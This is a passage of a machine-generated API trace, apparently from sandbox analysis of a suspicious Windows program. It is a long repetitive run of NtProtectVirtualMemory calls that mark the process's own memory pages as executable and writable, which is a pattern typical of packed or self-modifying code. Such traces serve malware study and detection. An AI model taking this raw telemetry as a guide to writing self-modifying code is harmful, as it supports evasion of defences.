OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.114] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.128] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.144] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.169] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.184] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.210] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.226] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.252] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.269] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.279] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.297] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.307] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.318] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.337] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.350] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.360] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.372] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.402] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.419] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.440] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.450] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.461] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.471] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.487] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.497] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.508] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.525] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.536] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.546] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.557] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.574] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.584] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.595] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.611] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.629] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.639] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.649] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.665] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.676] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.686] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.696] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.713] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.723] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.733] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.745] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.762] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.772] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.783] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.793] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.812] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.822] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.833] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.843] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.861] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.871] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.882] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.904] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.914] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.926] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.024] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.034] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.044] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.066] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.079] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.114] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.124] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.134] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.150] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.160] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.171] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.181] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.199] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.209] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.219] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.234] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.250] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.261] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.272] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.291] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.301] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.312] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.331] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.361] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.381] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.431] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.452] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.498] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.519] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.555] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, 